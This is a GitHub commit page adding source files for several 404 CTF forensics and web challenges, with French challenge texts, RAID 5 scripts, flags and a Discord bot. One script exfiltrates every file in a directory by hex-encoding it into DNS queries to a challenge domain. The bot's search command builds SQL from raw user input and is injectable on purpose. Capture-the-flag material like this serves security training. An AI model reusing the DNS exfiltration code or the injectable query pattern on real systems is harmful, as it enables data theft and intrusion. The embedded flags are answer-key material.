-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
typhlos
committed
Jun 11, 2022
1 parent
23bc2a1
commit f91a2ad
Showing
23 changed files
with
406 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
# Ping Pong | ||
The flag is hidden in the ping.pcapng file | ||
|
||
``` | ||
Nous avons repéré une communication bizarre provenant des serveurs de Hallebarde. On soupçonne qu'ils en aient profité pour s'échanger des informations vitales. Pouvez-vous investiguer ? | ||
Auteur : Typhlos#9037 | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
# 404 CTF | ||
This repository contains the source code of the challenges of the 404 CTF | ||
|
||
## License | ||
Unless said otherwise in the corresponding folder, every challenge is published under the MIT license. |
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
Type de RAID : 5 | ||
Taille des blocs : 1 octet | ||
|
||
https://fr.wikipedia.org/wiki/RAID_(informatique)#RAID_5_:_volume_agr%C3%A9g%C3%A9_par_bandes_%C3%A0_parit%C3%A9_r%C3%A9partie |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
404CTF{RAID_5_3st_p4s_tr3s_c0mpl1qu3_1abe46685ecf} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
404CTF{RAID_5_3st_p4s_tr3s_c0mpl1qu3_1abe46685ecf} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
from secrets import token_bytes | ||
|
||
|
||
with open("SOS RAID.zip", "rb") as data: | ||
with open("disk0.img", "wb") as disk0: | ||
with open("disk1.img", "wb") as disk1: | ||
pos = 2 | ||
while True: | ||
byte1 = data.read(1) | ||
if not byte1: | ||
break | ||
byte2 = data.read(1) | ||
if not byte2: | ||
byte2 = b"\x00" | ||
parityByte = (int.from_bytes(byte1, "little") ^ int.from_bytes(byte2, "little")).to_bytes(1, "little") | ||
if pos == 0: | ||
disk0.write(parityByte) | ||
disk1.write(byte1) | ||
pos = 2 | ||
elif pos == 1: | ||
disk0.write(byte1) | ||
disk1.write(parityByte) | ||
pos -= 1 | ||
else: | ||
disk0.write(byte1) | ||
disk1.write(byte2) | ||
pos -=1 | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
with open("test.zip", "wb") as file: | ||
with open("disk2.img", "wb") as disk2: | ||
with open("disk0.img", "rb") as disk0: | ||
with open("disk1.img", "rb") as disk1: | ||
pos = 2 | ||
while True: | ||
byte0 = disk0.read(1) | ||
byte1 = disk1.read(1) | ||
if not byte0 or not byte1: | ||
break | ||
byte2 = (int.from_bytes(byte0, "little") ^ int.from_bytes(byte1, "little")).to_bytes(1, "little") | ||
disk2.write(byte2) | ||
if pos == 0: | ||
towrite = byte1 + byte2 | ||
pos = 2 | ||
elif pos == 1: | ||
towrite = byte0 + byte2 | ||
pos -= 1 | ||
else: | ||
towrite = byte0 + byte1 | ||
pos -=1 | ||
file.write(towrite) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
# SOS RAID | ||
You need : | ||
1) To reconstruct and extract the data from the RAID 5 disk0.img and disk1.img. You can use manuel.txt to have more information | ||
2) Repare the corrupted png file. | ||
|
||
1/2 | ||
``` | ||
Nous avons réussi à infiltrer Hallebarde et à exfiltrer des données. Cependant nos agents se sont fait repérer durant la copie et ils n'ont pas pu copier l'intégralité des données. Pouvez-vous analyser ce qu'ils ont réussi à récupérer ? | ||
Auteur : Typhlos#9037 | ||
``` | ||
|
||
2/2 | ||
``` | ||
Bravo, vous avez réussi à récupérer les données. Cependant, il s'avère que l'un des fichiers a été corrompu pendant la copie. Pouvez-vous le réparer pour en extraire des informations ? | ||
Auteur : Typhlos#9037 | ||
``` |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
import binascii | ||
import os | ||
import dns.resolver | ||
import time | ||
|
||
def read_file(filename): | ||
with open(filename, "rb") as f: | ||
return binascii.hexlify(f.read()) | ||
|
||
|
||
def exfiltrate_file(filename): | ||
dns.resolver.resolve("never-gonna-give-you-up.hallebarde.404ctf.fr") | ||
time.sleep(0.1) | ||
dns.resolver.resolve(binascii.hexlify(filename.encode()).decode() + ".hallebarde.404ctf.fr") | ||
content = read_file(filename) | ||
time.sleep(0.1) | ||
dns.resolver.resolve("626567696E.hallebarde.404ctf.fr") | ||
time.sleep(0.1) | ||
for i in range(len(content)//32): | ||
hostname = content[i * 32: i * 32 + 32].decode() | ||
dns.resolver.resolve(hostname + ".hallebarde.404ctf.fr") | ||
time.sleep(0.1) | ||
if len(content) > (len(content)//32)*32: | ||
hostname = content[(len(content)//32)*32:].decode() | ||
dns.resolver.resolve(hostname + ".hallebarde.404ctf.fr") | ||
time.sleep(0.1) | ||
dns.resolver.resolve("656E64.hallebarde.404ctf.fr") | ||
time.sleep(60) | ||
|
||
|
||
if __name__ == "__main__": | ||
files = os.listdir() | ||
print(files) | ||
for file in files: | ||
print(file) | ||
exfiltrate_file(file) | ||
|
||
|
||
flag = """404CTF{t3l3ch4rg3m3n7_b1z4rr3}""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
404CTF{pas le flag, dommage :p} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# Un agent compromis | ||
You need to find in the capture-réseau.pcapng the following things | ||
|
||
1) The exfiltration script used | ||
2) The file that have been exfiltrated | ||
3) The flag that is in one of those files | ||
|
||
The network was unstable during the network capture. Some packets may have been lost. | ||
|
||
1/3 | ||
``` | ||
Nous avons surpris un de nos agents en train d'envoyer des fichiers confidentiels depuis son ordinateur dans nos locaux vers Hallebarde. Malheureusement, il a eu le temps de finir l'exfiltration et de supprimer les fichiers en question avant que nous l'arrêtions. | ||
Heureusement, nous surveillons ce qu'il se passe sur notre réseau et nous avons donc une capture réseau de l'activité de son ordinateur. Retrouvez le fichier qu'il a téléchargé pour exfiltrer nos fichiers confidentiels. | ||
Auteur : Typhlos#9037 | ||
``` | ||
|
||
2/3 | ||
``` | ||
Maintenant, nous avons besoin de savoir quels fichiers il a exfiltré. | ||
Format du flag : 404CTF{fichier1,fichier2,fichier3,...} Le nom des fichiers doit être mis par ordre alphabétique. | ||
Auteur : Typhlos#9037 | ||
``` | ||
|
||
3/3 | ||
``` | ||
Il semblerait que l'agent compromis a effacé toutes les sauvegardes des fichiers qu'il a exfiltré. Récupérez le contenu des fichiers. | ||
Le réseau était un peu instable lors de la capture, des trames ont pu être perdues. | ||
Auteur : Typhlos#9037 | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
FROM python:3.10 | ||
COPY ./src /src | ||
WORKDIR /src | ||
|
||
#install python and pip | ||
RUN useradd -ms /bin/bash discord | ||
|
||
RUN pip install discord.py mariadb | ||
|
||
USER discord | ||
|
||
ENTRYPOINT [ "/usr/bin/env", "python3", "/src/bot.py" ] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
# Un utilisateur suspicieux 1/2 | ||
In order to build the container, you need to specify the following environment variables : | ||
- DISCORD_TOKEN | ||
- MARIADB_URL | ||
- MARIADB_USERNAME | ||
- MARIADB_PASSWORD | ||
- MARIADB_DATABASE = data | ||
|
||
You also need a mariadb server initialized with the dump.sql file. | ||
|
||
``` | ||
Il semblerait qu'il y ait un utilisateur suspicieux sur le serveur discord du 404CTF. Allez voir ce que veut Je suis un gentil humain#0364 | ||
|
||
Auteur : Typhlos#9037 | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
#!/usr/bin/env python3 | ||
|
||
import os | ||
import mariadb | ||
import discord | ||
|
||
#get the token | ||
TOKEN=os.getenv("DISCORD_TOKEN") | ||
MARIADB_URL=os.getenv("MARIADB_URL") | ||
MARIADB_USERNAME=os.getenv("MARIADB_USERNAME") | ||
MARIADB_PASSWORD=os.getenv("MARIADB_PASSWORD") | ||
MARIADB_DATABASE=os.getenv("MARIADB_DATABASE") | ||
|
||
#Help message | ||
HELP = "Je ne suis pas un automate, juste un humain qui veut aider :-)\n```Commandes disponibles :\n!chercher argument -> rechercher argument dans la base de données\n!authentification motdepasse -> authentifiez vous pour accéder au mode privilégié\n!drapeau -> obtenez un mystérieux drapeau```" | ||
HELP_LOGGED = "Je ne suis pas un automate, juste un humain qui veut aider :-)\n```Commandes disponibles :\n!chercher argument -> rechercher argument dans la base de données\n!authentification motdepasse -> authentifiez vous pour accéder au mode privilégié\n!drapeau -> obtenez un mystérieux drapeau\n!debug -> debug command```" | ||
|
||
#connect to mariadb | ||
conn = mariadb.connect( | ||
user=MARIADB_USERNAME, | ||
password=MARIADB_PASSWORD, | ||
host=MARIADB_URL, | ||
port=3306, | ||
database=MARIADB_DATABASE | ||
) | ||
|
||
# Disable Auto-Commit | ||
conn.autocommit = False | ||
|
||
#discord bot connection | ||
client = discord.Client() | ||
|
||
@client.event | ||
async def on_ready(): | ||
print('We have logged in as {0.user}'.format(client)) | ||
|
||
|
||
#handle incoming message | ||
@client.event | ||
async def on_message(message): | ||
#avoid the bot responds to itself | ||
if message.author == client.user: | ||
return | ||
|
||
#Private messages | ||
if message.channel.type == discord.ChannelType.private: | ||
if "!drapeau" in message.content: | ||
cur = conn.cursor() | ||
cur.execute(f"SELECT user from {MARIADB_DATABASE}.Privileged_users where user LIKE {str(message.author.id)}") | ||
result = cur.fetchall() | ||
if len(result) > 0: | ||
await message.channel.send("404CTF{D1sc0rd_&_injection_SQL}") | ||
return | ||
await message.channel.send("Vous devez être authentifiés :-)") | ||
|
||
elif "!authentification" in message.content: | ||
if message.content == "!authentification 404CTF{D1sc0rd_&_injection_SQL}": | ||
cur = conn.cursor() | ||
cur.execute(f"INSERT INTO {MARIADB_DATABASE}.Privileged_users(user) VALUES ({message.author.id})") #register user as logged in | ||
conn.commit() | ||
await message.channel.send("Bravo ! Vous pouvez valider le challenge avec le mot de passe") | ||
elif message.content == "!authentification": | ||
await message.channel.send("Usage : `!authentification motDePasse`") | ||
else: | ||
await message.channel.send("Mauvais mot de passe") | ||
|
||
elif "!aide" in message.content: | ||
cur = conn.cursor() | ||
req = f"SELECT user from {MARIADB_DATABASE}.Privileged_users where user LIKE {str(message.author.id)}" | ||
cur.execute(req) | ||
result = cur.fetchall() | ||
if len(result) > 0: | ||
await message.channel.send(HELP_LOGGED) | ||
return | ||
await message.channel.send(HELP) | ||
|
||
elif "!chercher" in message.content: | ||
tab = message.content.split(" ") | ||
req = f"SELECT message FROM {MARIADB_DATABASE}.data WHERE message LIKE \"%" | ||
for i in range(1, len(tab)): | ||
req += tab[i] + " " | ||
req = req[:-1] | ||
req += "%\"" | ||
if "insert" in req.lower() or "drop" in req.lower() or "sleep" in req.lower() or len(tab) == 1: | ||
req = f"SELECT message FROM {MARIADB_DATABASE}.data WHERE message LIKE \"\"" | ||
cur = conn.cursor() | ||
cur.execute(req) #do sql request | ||
answer = "```Results:\n" | ||
i = 1 | ||
row = cur.fetchone() | ||
while row is not None: #treat answer | ||
answer += "Result #" + str(i) + ":\n" | ||
answer += ">" + str(row[0]) + "\n" | ||
i += 1 | ||
row = cur.fetchone() | ||
answer += "```" | ||
await message.channel.send(answer) | ||
|
||
elif "!debug" in message.content: | ||
cur = conn.cursor() | ||
req = f"SELECT user from {MARIADB_DATABASE}.Privileged_users where user LIKE {str(message.author.id)}" | ||
cur.execute(req) | ||
result = cur.fetchall() | ||
if len(result) > 0: | ||
await message.channel.send("Debug déployé sur le port 31337 ! Mot de passe : `p45_uN_4uT0m4t3`") | ||
return | ||
await message.channel.send("Bonjour ! Tape `!aide` pour obtenir de l'aide.") | ||
else: | ||
await message.channel.send("Bonjour ! Tape `!aide` pour obtenir de l'aide.") | ||
|
||
#Server channel | ||
else: | ||
if str(client.user.id) in message.content: | ||
await message.channel.send(message.author.mention + " envoie-moi un message privé, je ne fonctionne que comme ça :-)") | ||
|
||
|
||
#Connect to discord | ||
client.run(TOKEN) | ||
conn.close() |
Oops, something went wrong.